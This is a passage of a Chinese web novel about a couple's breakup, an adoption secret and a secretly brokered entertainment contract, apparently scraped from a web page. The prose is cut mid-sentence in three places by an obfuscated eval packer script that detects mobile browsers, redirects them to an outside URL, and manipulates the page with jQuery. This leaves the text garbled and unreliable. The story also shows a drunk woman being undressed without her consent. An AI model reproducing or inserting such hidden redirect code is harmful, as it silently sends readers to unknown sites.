可是程霏霏却能清楚地感知到,江羽已经搬走了。走之前,还收拾得干干净净,连一根狗毛也没有剩下。 从此以后,小黄再也不会等在门口欢迎她,不会叼着牵引绳放在她的脚边,对她极尽讨好,求她带它出去玩。 他们搬去哪里了呢? 是回到那个破败不堪的城中村了吗?还是什么别的更加离谱的地方? 走廊里的感应灯熄灭,整个世界又暗了下去。程霏霏抬起手,抹了一把眼角的水渍,蹬掉脚上的小高跟,摸索着朝客厅深处走。 深夜的地板带着凉意,她在昏暗中深一脚浅一脚地走着,突然被什么东西绊了一下,整个人猛地向前栽倒—— 一只手臂揽上了她的腰,程霏霏跌进一个温热的怀抱里。 清淡的柑橘气味顺着鼻子钻进大脑,程霏霏本能地抓紧了对方的衣襟。 嘴边的惊呼声被她咽了回去,她就这么靠在他怀里,不动了。 四周一片漆黑,根本看不清对方的脸。可程霏霏坦然地把头埋在他的颈侧,温热的呼吸拂在他的皮肤上。 “你喝酒了?” 江羽的声音在头顶上方响起,搂着她的手臂略略收紧:“……喝了多少?” 这个怀抱熟悉得令她沉醉。 程霏霏已经完全放松了下来,闭上眼睛,全然靠在他胸前。 她太累了,最近这段时间,和江羽分手耗光了她全部的力气,身心疲累不堪。 她向来是个懒人,最讨厌费力气的。 黑暗中,江羽的目光渐渐下移。 怀里的女孩浑身酒气,似乎不是很清醒。醉意之下,竟然抬起手臂,掌心贴着他的后腰,一路向上抚去。 江羽的呼吸沉了沉,感觉女孩的手摸过自己的后背,绕到前胸,又沿着脖颈一路抚上了他的脸。 “你怎么来了?”程霏霏的嗓音黏黏糊糊,仿若是在梦呓。 “想看看你。”江羽垂下眼眸,像做错了事的小孩,讨好地蹭了蹭她的掌心,“我猜,你可能会到这里来。” 黑暗中,程霏霏的指尖触到他的睫毛,又长又软,小扇子一样。 她笑了一下,醉意令她的神志不太清明:“以前就想数一数,到底有多少根。” “我其实数过的,有一回,趁你睡着的时候。可惜你一动,就全都乱了,到现在也没有数完……你别动啊,让我好好数数。” 江羽低着头,顺从地闭上眼睛。 房间里根本没有开灯,怎么可能数得清楚。 可程霏霏还是煞有介事地沿着那排睫毛轻轻抚过去,指尖触到他的眼睑和眉毛,身体不由自主,靠得更近。 江羽觉得有些透不过气,肺里全是她呼出的酒气。 恍惚中,程霏霏感觉到一抹压迫自上方袭来。下一秒,他们的鼻尖撞在一起,酒精令她的反应变得迟钝,被江羽轻松咬住了下唇。 程霏霏的手自他的脸颊上划过,探进了发间。 混沌的大脑有些许呆滞,程霏霏含糊地呻吟了一声,张开嘴。江羽的舌尖趁机抵了进去,缠住她。 酒精在意识深处翻滚,程霏霏头晕得厉害,什么都无法判断,只有本能地张嘴迎合。 舌头和嘴唇被来回含吮□□,力道越来越重,令她有些承受不住。透明的津液自嘴角溢出,沾湿了她的下巴,而她呆呆地顾不上擦。 洞黑的客厅里,只能听见唇齿的交缠声。 这个吻像一道鲜明的信号,接下来的一切,似乎都自然而然。 江羽退后些许,手臂绕过她的膝弯,将人横抱起来。 他抱着人轻车熟路地来到主卧,丢在床上,随后欺身而上,毫不客气地压着她,掰过她的脸,继续刚才那个中断的吻。 他急促地喘息着,酸涩的心脏跳得沉重而迫切。 太想要挽留住怀里的人,手上的动作也变得急躁不堪。顾不上征得程霏霏的同意,江羽直接上手扯开了她的裙子。 “哧啦——”,是衣料撕裂的声音。 “抱歉……太暗了,没看清。” 他贴着她的耳畔道歉,动作上却不见多少歉意。手掌毫无停顿,直接沿着撕开的缝隙钻了进去,轻而易举地一路向上,无所不至。 程霏霏顺从地仰面躺着,像一个被层层剥开的礼物,长发散乱,双目失焦,迷糊地看向一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14581987|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片漆黑的虚空。 黑暗将一切感官放得无限大,酒意却又令触觉变得麻木而迟缓。 她能感受到江羽炙热的唇舌冲动地散落在她的身上,在各处一一碾过。 两条胳膊无力地垂在床边,没有一点力气将他推开。 醉意在身体中膨胀发酵,程霏霏的意识变得越来越迷离,被莫名的冲动牵引着,眼看就要沉入昏眩的深潭…… 江羽却忽然停下了动作。 黑暗中,他悬在上方,一双眼睛如静谧的幽潭,闪动着最赤诚而灼然的光:“霏霏,我爱你……这个世界上,除了你,我别无所求。” 程霏霏混沌的眼角,忽然流下了一道晶莹的眼泪,顺着脸颊无声地洇进发丝。 她眨了眨眼睛,迫使自己抬起胳膊,环抱住江羽的脖颈。嘴唇摸索着贴上他的,将自己的舌尖探了过去。 江羽感受到她的热情,更加汹涌地回吻,心脏因为一缕久违的希望,而重新蓬勃地跳动起来。 一片沉沦中,程霏霏抖着嗓子轻唤:“泽昱……” 刹那间,一切都被按下了暂停键,时间与空间仿佛双双静止了。 江羽依旧紧紧地抱着她,可全身上下所有的关节像被冻住了一般,再难动作一点。 他难以置信地问:“你刚刚,叫我什么?” 而程霏霏依旧热情地在他的怀里扭来扭去,缠绵的亲吻不断落在他的嘴角,哼哼唧唧地呓语:“泽昱,你终于回来了,我再也不用把别人当成你了……” 仿佛被一根锋利的凶刃穿胸而过,江羽缓缓松开搂着她的双手,颤抖着支撑着身体,从床上起身。 眼前一阵阵发白,意识也是茫然一片,江羽眼神空洞,不由自主地向后退。 心底最柔软的那处,好似有千万根钢针争先恐后地冒出头,凶狠地扎进五脏六腑。那绞杀一般的心痛,仿佛要将他的灵魂狠狠扭断。 江羽脑中天旋地转,眼前浮现出阵阵幻觉—— 古色古香的书房,隐蔽的盒子,福利院的大槐树,把他打入地狱的出生证明…… 胸腔里突然刮起一阵漫天风雪,凌厉地掀翻了一切,将所有带着温度的情感迅速冷冻。 江羽艰难地抬起眼,看着床上醉眼朦胧的程霏霏,想要说话,喉咙却好似被封住了,发不出一点声音。 双脚下意识地后退,身体猛地撞向了后方的梳妆台—— 随着一阵哗啦巨响,江羽整个人,连同梳妆台上的首饰架,一齐倒在了地板上。 程霏霏躺在床上,对一切毫无所觉,仿佛已经陷入深眠。 一片黑暗中,江羽呆滞地坐着,想要站起身,却没有丝毫力气。浑身上下每一个部位都在发抖,冷汗从毛孔里沁出,浸湿他的后背。 就这样缓了一会儿,整个人好像才从噩梦中清醒过来。他攀着桌台的一角,机械性地站直了身体。 再没有勇气看床上的人一眼,江羽垂着目光,步伐狼狈地逃离了这间公寓。 整个屋子重新陷入寂静。 天上的浓云尽散,月亮重新冒出了头。 主卧室没拉窗帘,此刻,银辉透过飘窗照了进来,满地的首饰在地板上反射着细小的碎光,如同遥远的星星,孤独而倨傲地闪烁着。 床上却突然响起一道压抑的、极悲痛的呜咽声,从被子下断断续续地传出来,飘荡在卧室的上空,很久都没有停歇。 60. 60 橙黄色的旭日自水天相接的地方升起,像一枚圆润小巧的咸蛋黄。赤金的朝阳映照在茫茫江面上,将灰暗的波涛尽数点燃。 新的一天开始了。 跨江轮渡披着朝霞,在清晨的余雾中缓缓启航,汽笛发出浑厚的巨响。 船头的甲板上,江羽面朝着江水,席地而坐,额头抵在渡船的栏杆上,一动不动。 迎着金黄的霞光,他的脸色依旧苍白如纸,眼皮无力地垂着,目光没有焦点——没有在看江上的美景,甚至没有在看任何画面。 渡船带起潮湿的风,将江羽的衣袖灌满,单薄的上衣被吹得鼓起,让他看上去像一只随时准备跃入江中的飞鸟。 可惜他没有飞鸟的轻盈,他的四肢灌满了冷铅,沉重得难以动弹。 心和灵魂也是,连从这个荒唐的世界里逃脱,都没了力气。 意志力的藩篱摇摇欲坠,再也压抑不住那些噬心的记忆。过往的画面犹如开了闸的洪水,顷刻便席卷了江羽的意识。 他看到三年前的自己推开书房的门,百无聊赖地走了进去,打开一排排抽屉翻找——他还欠指挥哥一张羽婷演奏会的门票。 妈妈每次都会留几张备用票在家,可具体放在哪儿,她兴许提过,他总是懒得过脑。 找了一圈都没有,江羽挠了挠头,有点无奈。 刚才回家的路上,指挥哥还问他——羽婷老师的演奏会盛况空前,在国内称得上一票难求,而他身为至亲VIP,自己怎么从来不去? 江羽一听,忍不住“嘶”了一声。 “你试试,从五岁开始听一个人拉琴,还是那种,每天早晨和晚上都在家里不停地听,听到你连她今天心情好到多吃了半碗饭、或者心情坏到想要爆揍她儿子一顿都分辨得出来,你猜,还有没有那个兴致跑去音乐厅里坐上几个小时?” 指挥哥:“……” 江羽一到家,水都没顾上喝一口,就来到书房。 此刻,他踩着个方凳,打开了最顶上的一排柜子——虽然把票放在这种地方的概率微乎其微,但来都来了,不妨一找。 还真让他翻出一个从来没有见过的木盒。 木盒很精致,盖子的纹样雕刻得栩栩如生,一看就有些年头。扣得严丝合缝,似乎很久没有被人打开过。 江羽戏谑地想,这莫非是他爸的小金库不成? 打开一看,竟然是一沓文件。 最上面,是一张出生证。 出生证有些年岁了,但因为收藏得妥帖,看着并不显旧。 江羽展开这薄薄的一本,新生儿姓名的一栏上写着:江羽。 和他一模一样的名字,却不是他的出生年月。 出生证的背面,还夹着一张死亡证明。 江羽看着上面的文字,微微蹙眉,心间划过一道惋惜——原来,这个叫“江羽”的孩子早已经死了,在出生仅仅两个月以后。 他叹了口气,不忍再看。动作间,纸张下却露出了一角照片。 他好奇地将那张照片抽了出来—— 福利院的大槐树下,羽婷搂着五岁的自己,对着镜头粲然而笑。 心头莫名涌起一阵不安,鬼使神差地,江羽将这张照片翻过来,只见背面写着几行字,是妈妈的笔迹—— 【小羽,如果你能平安活到五岁,大概会是这个孩子的模样吧? 可爱,聪明,满是耀眼的天赋。我看到他,就会想起你。 让他代替小羽长大,好不好?】 “咣当”一声,手里的木盒骤然坠落,里面的东西乱七八糟地撒了一地。 江羽仿佛被人打了一闷棍,感到整个世界都在旋转。脚下一软,径直从凳子上跌了下来。 他倒在书房柔润的木质地板上,头脑一片空白。 天花板上挂着漂亮的古董吸顶灯,江羽瞪视着那一圈圈繁复的图案,仿若看到了潘多拉魔盒的实体。 脑海中,无数画面如交错的影像,在记忆深处相继闪回—— “从今天起,你就叫江羽了。这个名字虽然简单,却是爸爸妈妈的姓合在一起组成的,代表着我们全心的爱。” “以后,你就是这个家里唯一的小朋友,就算不说话,也没有人能欺负你。” “爸爸妈妈会极尽所能,对小羽好。” “要不要试试小提琴?妈妈看得出来,你喜欢它的声音。” “小羽拉得真棒!” “我们小羽真是天赋异禀,长大了一定是个了不起的音乐家,不愧是妈妈的儿子!” …… 原来,一个倾注了爱意的名字,也可以是一道诅咒。 好像一脚踏进了一场荒诞的梦里,周围的一切都开始颠覆扭曲。照片背后的几句话像针一样扎进他的头脑,反复回响,越回荡,越荒唐,却避无可避。 如果,盒子里的“江羽”才是他们爱着的小孩,那自己这么个活生生的人,到底算是什么呢? 一个符号,一个寄托,一个……制造幻觉的替品吗? 这么多年来作为“江羽”的人生,过往所有坚定不移的一切,那些幸福的、被爱的、满怀着自信与骄傲的自我认同,到头来,竟然都是谎言所编织出来的假象么? 被真相的光芒一照,就狼狈得四分五裂,彻底化为虚无缥缈的散沙,随手一拂,便无影无踪。 江羽觉得,自己彻底掉进了命运的迷障。 周围竖满了密实而坚韧的网,将他牢牢地裹缠住。无论他如何挣扎,都不得逃脱。 整个世界只有不停旋转的黑暗,混乱的洪流一次次涌来,湮灭他所有希望的微火。 那种似曾相识的、深入骨髓的绝望,在昨晚,又一次席卷了他。 总是这样的。 每当他不服气、试图负隅顽抗、妄想守护住一点点属于自己的温暖,命运总会卸下完美的伪装,冰冷地碾碎他所有天真又愚蠢的幻想—— 得了吧,你自以为拥有的一切,不过是水中的一捧月亮。 …… 一滴滚烫的眼泪落在甲板上,很快被江风蒸腾得无影无踪。 江羽扶着栏杆,颤颤巍巍地起身。 他觉得头晕眼花,脚下不停晃动。就像他的人生,本以为天地辽阔,总是有路可走,可其实每一条路,尽头只会是荒芜。 江羽真心地笑出了声。 有些人,从莫名其妙地被生下来,就注定了茕茕孑立、狼狈不堪的命运。 他不应该痴心妄想的。 胃里一阵翻江倒海,江羽弓着身体,吐在了滔滔江水里。 他大口喘息着,额上挂满冷汗,颅腔里似乎有无数道声音在轰鸣。眼前的一切都变得模糊不清,江羽失重地跌倒,瘫软在甲板上。 眼前是大片绚烂的朝阳,镶着金边的云彩像红绸一般铺满了天空,如同一幅色调瑰丽的油画,美得触目惊心。 彻底沉入黑暗前,他戏谑地想:就这么死了,也挺好。 * 黎玥站在公寓门口,抬手敲了一下房门。 门竟然没有关严,自己开了。 客厅里很安静,飘着一股隔夜的酒气。黎玥皱了皱鼻子,赶紧去阳台开窗通风。 主卧的门余了一条缝,可以瞧见双人大床上一团厚实的被子。被子下隆起人形,正随着呼吸的节奏轻轻起伏。 黎玥上前,猛地掀开被子:“睡美人,太阳晒屁股了!” 程霏霏动了动,翻过身来——惨白的小脸上眼窝红肿,发丝被眼泪黏在腮上,唇角泛着不正常的殷红。 衣不蔽体的大片肌肤上,布满了暧昧的痕迹。一条扯碎的裙子堪堪挂在腰间,遮住那不盈一握的腰身。 虽然都是女孩子,这幅景象也过于香艳了。黎玥闹了个大红脸,赶紧又给她盖上。 程霏霏蒙着被子,吃吃一笑:“好看吗?” 黎玥没好气地呸了一声:“我一点也不想知道你昨天晚上,和谁,在这张床上做了什么好事!你现在立刻套上件能看的衣服,起来吃饭!” 余光在房间里随意一扫,看到地板上散落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593210|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的首饰,黎玥心下讶然,忙走过去收拾。 程霏霏在被子里嘟哝:“一大清早的,你怎么来了?” “大小姐,都中午了!昨天任可心喝得烂醉,跑到咱们寝室睡了你的床,今早我才发现人不对。我猜你肯定也喝多了,就顺道过来看看,省得你把自己喝死了也无人问津。” 程霏霏感叹:“黎玥,你怎么这么好啊?” “比不上男人好。”黎玥拒绝了这枚糖衣炮弹,将首饰一个个摆回架子上,满脸嫌弃,“瞧你们昨天这战况,啧,我觉得自己瞎了。” 程霏霏吁出一口气,掀开被子下床,将那条没法穿的裙子蹬了,直接钻进了浴室。 温热的水柱拍打在身上,冲淡了宿醉后的酸胀,程霏霏的眼前闪过昨夜的一幕幕。 她也不知道,自己这小脑袋瓜是怎么灵机一动,琢磨出这样一个“理由”。 任可心说,没有一个可信的理由,分手就很难成功。可真正的理由她没法说,既然如此,就编一个。 本来还有点不确定,这么扯淡的借口,江羽也许未必会信。 可是昨晚看到他那不同寻常的反应,她几乎立刻就后悔了,心底也跟着塌了一块,仿佛有什么东西超脱了掌控,失重地坠落下去,无声地寂灭了。 也不知道他现在怎么样了。 程霏霏的舌根苦得发麻,关了淋浴,失魂落魄地出来,发现黎玥已经将满地狼藉收拾得干干净净。 她忍不住调笑:“你和江羽,还真是一对——” 黎玥一惊,手里的东西“哐当”一声掉在地上。 “洁癖精呀。” * 程霏霏仰脖灌下半碗白粥,一抹嘴,看到黎玥坐在她对面,似乎有话要说,目光踟蹰。 她拿起筷子,边夹菜边说:“你是不是想问,我为什么和江羽分手啊?” 黎玥端起面前的汤,徐徐地喝了一口。 “我是很好奇,不过,也不是非知道不可。” 程霏霏嚼着嘎嘣脆的腌萝卜:“不是因为你。” “咳咳咳——”黎玥嘴里的汤差点呛到肺里,震惊地睁大眼睛,“霏霏……” 却看到程霏霏安静地盯着盘子里的萝卜,目光沉静,一丝生气的意味也没有。 “黎玥,如果这个世界上有人能够理解我的选择,那个人一定是你。” 黎玥的眸光倏地定住,放在桌面下的手紧紧攥住衣角。她张了张嘴想要否认,可喉咙里却像黏了东西,一时竟然没能流畅地应答。 可程霏霏却什么都没有多问。 她只是支着脑袋,声音有些飘忽:“你有没有听过一句歌词……与其被爱拖累,不如单独去飞。” 她的神色很平淡,有一种将诸多情绪都压抑其下的安静。 “江羽这人吧,什么都好,就是命不太好,总是遇到一些倒霉事。我看得多了,自然会跟着心烦。” 她的目光缓缓扫过来:“换成你,你会怎么做?” 黎玥长长地叹了口气,带着一种秘密被曝光后的卸力,和一丝自暴自弃的轻松,无比真诚地说:“我不知道。” 程霏霏笑了笑,眼睛里浮起一层水光:“他需要很多很多钱,才能解决命运带来的不幸。黎玥,我的生活看似优渥,可真要拿钱的时候,才发现手里也只有那仨瓜俩枣,脱离家庭的支持,我什么也不是。” 黎玥没有应声,她不知道该怎么劝。没想到,素来呼风唤雨的程霏霏,有一天竟然会对她说,分手是因为自己太穷。 只听程霏霏轻声呢喃:“可是再倒霉的人,也得有人爱。” 黎玥一怔。 程霏霏对着她笑了笑,将剩下的半碗粥喝了,催促道:“快点吃,吃完还要帮我收拾行李。让任可心那家伙赶紧滚,从今天起,我要搬回宿舍去住。” “那这里呢?不住的话,空着多可惜啊。” 黎玥是真觉得可惜,她做梦都想有一处自己的房子。 而程霏霏只是“唔”了一声,继续吃饭,头也没抬。 61. 61 江羽缓缓睁开眼,反应了一会儿,意识到自己身在医院。 裴一舟靠在病床边打盹,看见他醒了,几乎有点喜极而泣:“你现在感觉怎么样?哪里不舒服?” 江羽皱了皱眉,缓缓坐起身,茫然四顾:“我这是……怎么了?” “你在跨江轮渡上晕过去了,警察联系的学校。”裴一舟目光担忧,夹杂着一丝欲言又止的犹豫。 江羽靠在床头,扶着酸胀的后脑,目光空洞地望向病房的天花板。 裴一舟觑着他苍白的脸色,心渐渐沉到谷底。猛地起身,在床前立正站好,垂着目光,不敢看他。 “江羽,咱们朋友一场,是我对不住你。处分的事,归根结底,都是我的错!” 江羽空茫的脸上,终于露出一丁点疑惑的神色。 “你失踪以后,大家都觉得开除的处分给得太重了,想再帮你争取一下,或者求一个将功补过的机会也好。我们……咳咳,在姚安琪的帮助下,找到了经手这件事的老师,一打听才知道,当初那封举报信并没有递到教务处,而是直接放在了汪老师的办公桌上。” 江羽看了他一眼。 “举报的人……不是为了投诉柯有为找代笔,从一开始,就是在针对你。” 裴一舟的眉头紧蹙着,声音因为气愤而有些颤抖。 顺着这条线索,他们干脆继续追查了下去。 一个月黑风高的夜晚,姚安琪不知从哪儿搞来了监控室的钥匙。 于是乎,整个行动由任可心谋划,黎玥放哨,裴一舟实操,项凡垫后,还真的在走廊的监控里,查到了放匿名信的人。 “那个人,是,是——” “是李泽昱。”江羽十分平静地说。 “你知道?”裴一舟先是震惊,继而是浓浓的失落,“对不起……如果不是我盲目崇拜他,硬要和他套近乎,还拉着你们一起,他也没有机会认识你,进而发现你的事……这一切,都是我造成的。” 江羽的表情依旧很淡,浅色的眸底倒映着房顶稀疏的光线,像暗灰色的海。 “是我自己的问题。”他转过头,努力牵了牵唇角,却没有成功,“和你没关系。” 说罢,掀开被子,就要起身下床。 裴一舟赶紧扶住他:“医生说,你的情况还不能出院。还有,刚刚有个人给你打电话,说是有重要的事要见你,我就把这儿的地址给他了。” 江羽抬眸:“谁?” “是我。” 病房的门被人推开,祁风鸣赫然出现在门口。 他西装革履,手上拎着公文包,派头看起来十足正式。 祁风鸣似乎心情很不错,眉眼间透着气定神闲的笑意,隐隐有些稳操胜券的松弛。 他在病床前坐下,接过裴一舟递过来的矿泉水,道了声谢。 “我一直相信,人与人之间的机缘十分奇妙,不能只看一时半刻。”祁风鸣笑得愉悦。 “你还没醒的时候,我向这位裴同学大致了解了你目前的情况。处分的事情,我表示非常遗憾。但事已至此,江羽,你还年轻,要向前看。” 江羽的面容十分沉静,和祁风鸣料想得不同,他既不焦灼也不慌张,只是散发着一种颓丧的、阴郁的麻木。 祁风鸣试探道:“江羽,对于前路,你有什么想法?” 江羽并没有立刻回答,目光沉滞,没有焦点。 祁风鸣想了想,打开公文包,拿出厚厚一沓合同,摊在他面前。 “我的邀请不会改变,风盛永远对你敞开大门。这是修改过的合同,签约金的数额有所变动,你要不要再看一眼?” 江羽的目光落在敞开的合同上,半晌,缓缓抬起眼眸,问了一个让祁凤鸣猝不及防的问题。 “你有没有去找过程霏霏?” “什么?”祁风鸣微怔。 “我说,你有没有去找过程霏霏。” 江羽的目光很沉,声音却极轻,像是仅仅提及这个名字,就花光了全部的力气。 祁风鸣拢起眉心,片刻后,叹了口气:“我之前的确是找过她。不过,她当时明确表示,不会和你分开。” “是么。”江羽仰头望着天花板,似乎对这个答案没什么特别的反应,“祁总,我当初拒绝你,不是因为什么单身协议。” 祁风鸣意外地看着他,语重心长地说:“总之,你当下的处境很被动,并没有多少选择。你就算不考虑你自己,也要替杜溪那些村民们想一想。” 他指着合同上的数字:“你看,签约金的数额变动了,只要你签下这份经纪约,拿到这笔钱,就可以一次性偿还掉你身上的所有债务。被诈骗的村民拿回属于自己的钱,很多家庭就可以走出阴霾。” 合同上标注的签约金额竟然由之前的三百万,变成了五百万。 江羽讥诮地想,多么巧合的数字,仿佛是烙印在他命运里的诅咒,怎么也绕不过去。 祁凤鸣的劝说依旧没有停止:“以后,不会再有人骚扰你,你可以过正常的人生——” 他顿了顿:“甚至是许多人难以企及的人生。” 江羽凝神看着合同上的铅字,和尾页那一纸单薄的单身协议,似乎在出神。 祁风鸣想了想,站起身:“我把合同留在这里,你好好考虑一下。我会在江城多待几天,等你的答复。” * 翌日,又是一个大好晴天。 医生结束了例行查房,问江羽之前是不是因为什么原因伤到了胃,以后切记要小心保养,否则会落下病根。 江羽点头道谢,待医生离开后,便披上了外套,想下楼走走。 他沿着医院的走廊缓缓前行,出了门厅,来到中庭的院子里。 头顶阳光灿烂,鸟语花香,周围来往着密集的人潮,一座圆弧形的喷泉在前方恣意舞动着,吞吐出各种形状的水柱。 一副温暖的人间盛景。 前方,一个小男孩坐在轮椅上,周围围了一大圈家人朋友和医护人员,正在给他过生日。 大家共同打着拍子,一起唱生日歌。 “祝你生日快乐——” …… “祝你生日快乐——” “祝我们小羽生日快乐——” 妈妈捧着生日蛋糕,笑容近在咫尺。 “噗——”江羽忍住尴尬,干脆利落地吹灭了一蛋糕的星火。 妈妈数着这每年多出的一根蜡烛,感慨地说:“时间真是过得好快!转眼间,小羽就十六岁了,说不定,哪天还会带一个女朋友回家来,我可得做好准备才行。” 江羽嫌弃地扶了扶头上的生日帽,祈祷这个环节赶紧结束。 “您放心吧,就乐团这训练量,我哪来的时间交女朋友?” “没时间谈恋爱,倒是可以花点时间想想,要不要答应许教授啊?你再不点头做他的学生,老头子快要把咱家的门槛踏破咯!” 爸爸在一旁插话:“我看儿子未必想跟着那姓许的,走专业小提琴。” “不跟许教授,难道跟你?怎么着,还能去混娱乐圈啊?” “有什么不行?” “我羽婷的儿子,自然要做小提琴家的!” “行啊,咱俩打个赌,看谁赢。”爸爸似乎在故意逗她。 “赌就赌,就算不做小提琴家,也绝不进娱乐圈!” “……”看到旁若无人斗起嘴来的两个人,江羽有些心累。 “爸,妈,你们真的要在演出的后台争论这种事吗?” 此时此刻,距离他上场仅有十分钟了。 谁家的父母,竟然会在音乐会开场前,跑到后台来给孩子过生日? 还当着他的面,争论这种无聊的问题。 江羽吁出口气,懒得管了,一把扯下那个歪歪扭扭的生日帽,塞回他妈怀里,提着琴就走。 羽婷在身后高喊:“儿子,你可得帮我,别让我输给你爸啊——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600947|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江羽嘴角噙着笑,大步流星地朝舞台走去,没回头。 …… 有些承诺,大概只有他一个人记得。 也只有他一个人在意。 江羽坐在原地,面无表情地看着那小男孩喜极而泣地吹熄了蛋糕上的蜡烛、仰起生动的笑脸。 “叮——” 手机上,项凡发来一段小黄遛弯的视频。 最近这段日子,小黄被两个男生藏在寝室里偷着养,竟然一直没有被宿管老师发现。 江羽站起身,边看视频,边往回走。 手掌往口袋里随意一探,摸到一个质地坚硬的小东西。冰冰凉凉,有些硌人。 拿出来一瞧,竟然是那枚水滴形状的钻石耳坠。 钻石成色清透,像初绽的花蕾,在阳光下扑闪着俏皮的碎光。 江羽不知道,这东西是什么时候跑进他口袋里的。 脑海里闪过一些零星的片段。 那些记忆近在咫尺,带着或甜蜜、或炽热的温度,曾经令他欢欣鼓舞,如今却都变得毫无意义,不值一笑。 人类的情感,说白了,也许就是一场盛大的自我感动,虚假、多变、转瞬即逝。 当真的人,最可悲。 清风卷着医院消毒水的气味,拂在他的眼睛上,凉丝丝的,有些痒。 那双眼睛黯淡无光,此刻再没了一丝温度,像被风吹灭的烛火,透出燃烧殆尽的荒凉。 一步之外,就是医院的喷泉池。 江羽走到水池边,伸直胳膊,指关骤松—— “噗通”一声,耳坠掉进了翻腾的池水里。 透明的钻石顺着水波缓缓沉底,消失不见。 * 祁风鸣收到了快递过来的文件袋。 打开,一厚沓的演艺合同,连同一纸单薄的单身协议上,白纸黑字、清清楚楚地签下了江羽的名字。 祁风鸣大喜,眼睛里滚动着振奋的光芒。 他激动地一拍桌子:“年轻人,你一定不会后悔今天的选择!” 大功告成,祁凤鸣打开窗户,深深呼吸了一口江城的空气。 终于把这个好苗子签了下来,祁风鸣心情无比畅快,忍不住感慨,江城果真是人洁地灵,甚是宜居,只可惜,短时间之内应该不需要再来了。 他忽然想起几天前,和程霏霏那短暂的一面。 小姑娘突然给他打电话,说有很重要的事情,必须当面谈。 祁风鸣也不知道,自己怎么就如此听她差遣,还真的从帝都飞到了江城。 两个人在机场的咖啡馆碰面。 程霏霏开门见山地说:“祁总,我想和您做一笔交易。” 祁风鸣勾唇而笑:“程小姐想交易什么?” “我想交易江羽这个人。”程霏霏说得面不改色。 祁风鸣笑了——小姑娘是想以江羽为饵,找他要钱? 这种事也不是第一回见。 他们旗下的艺人,在外面惹了风流债,出面息事宁人的还不都是公司? 谈判的时候,对方一开始都说喜欢的是人,给多少钱都不愿意断掉。到最后,还不是个个分得干净,只要数额给得足够。 可程霏霏接下来的话却令祁风鸣吃了一惊。 “我答应您,会和江羽分手,让他恢复单身,以后也……绝不纠缠。但我有一个条件,就是请您务必竭尽所能地签下他。万一……将来,他因为处分的事情毕不了业,也希望您能够保证,让他有一条读书以外的出路。” 程霏霏顿了顿:“还有就是,我想请您用风盛的签约金,替他还清他生父所有的欠债。” 祁风鸣眉心一动:“据我所知,江羽的父亲欠债五百万,而我只能开价到三百,这是公司的规矩。” 程霏霏从挎包里取出一张存折,放在桌面上,轻轻推了过去。 她抬起头,平静的脸孔上透着一丝倔强的笃定:“您一定会以五百万,签下他。” 62. 62 江羽休学了,程霏霏再也没有见过他。 突然回归了一个人的生活,她很有些不适应。 比如,经常会感觉到四周空旷,说不出的安静。哪怕她所处的环境其实十分嘈杂,乌泱泱的围满了人,程霏霏还是觉得形单影只,好像只有她自己一个。 大脑变得麻痹又迟钝,对什么都提不起兴致,生活里的一切好像都索然无味起来,连时间也流逝得漫不经心。 程霏霏有点忘了,认识江羽以前,她的生活是什么样的来着? 不止头脑,连身体也变差了,总是会觉得冷。初夏时节,她每天裹着厚厚的披肩去上课,而教室里并没有开空调。 她看上去一天比一天萎靡,可她对这种状态,却并不感到厌烦。 任可心和黎玥看在眼里,都十分担忧,恨不得一天24小时贴身陪着。可是程霏霏不乐意,经常甩下她们,独自一人去校园里溜达。 图书馆,食堂,理科楼,后街…… 每当经过这些地方,熟悉的记忆就像会自动触发的情节,瞬间便浮上她的心头。 她看见江羽在晨光中拎着早饭,站在女生宿舍楼下。 她没能在约定的时间起床,正着急地一边梳着头发、一边探出窗口,让他多等一会儿。 江羽仰着头,眉眼带笑,用口型说:“你今天真美。” 程霏霏便只顾着傻笑,连梳头也忘了。 华灯初上,树影幢幢,她披着一身社畜气,百无聊赖地往学校里走。 江羽突然在校园门口现身,从背后拿出一小捧娇滴滴的蓝星花,祝她下班快乐。 她缠着他学小提琴,他教得认真。可是她总是故意拉错,想惹他生气,还大言不惭地说,是他这个老师教得不好。 江羽也不恼,只是似笑非笑地瞧了她一会儿,然后突然将琴弓从她手里抽出来扔了,扛起人就丢到了沙发上,随即便压了下去,一口咬在她的耳骨上。 “老师觉得,是学费没到位……” 程霏霏就像一个沉浸观影的看客,大戏的帷幕都落下了,还舍不得离开。 明明是她提的分手,可是当他真的消失了,却像是把所有新鲜的空气、明媚的阳光都一起带走了。生活里只剩下漫天愁云,让她觉得苦涩又委屈。 她只能一遍遍地经过拓知的教学楼,下意识地在人群里寻索那抹牵肠挂肚的身影。 可江羽一次也没有出现过。 有一回,她“偶遇”到刚下课的裴一舟和项凡。两个大男生支支吾吾的,表示完全不清楚江羽的去向。 